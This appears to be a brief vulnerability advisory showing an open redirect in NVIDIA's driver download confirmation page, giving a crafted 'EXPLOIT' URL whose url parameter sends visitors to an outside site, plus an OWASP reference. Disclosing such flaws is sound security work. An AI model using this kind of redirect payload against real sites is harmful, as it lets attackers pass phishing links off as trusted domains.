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EXAMPLE:

http://www.nvidia.com/content/DriverDownload/download_confirmation.asp?kw=&url=http://us.download.nvidia.com/Windows/179.48/179.48_notebook_winxp_64bit_beta.exe
########

EXPLOIT:

http://www.nvidia.com/content/DriverDownload/download_confirmation.asp?kw=&url=http://www.google.it

#######

Reference:

http://www.owasp.org/index.php/Open_redirect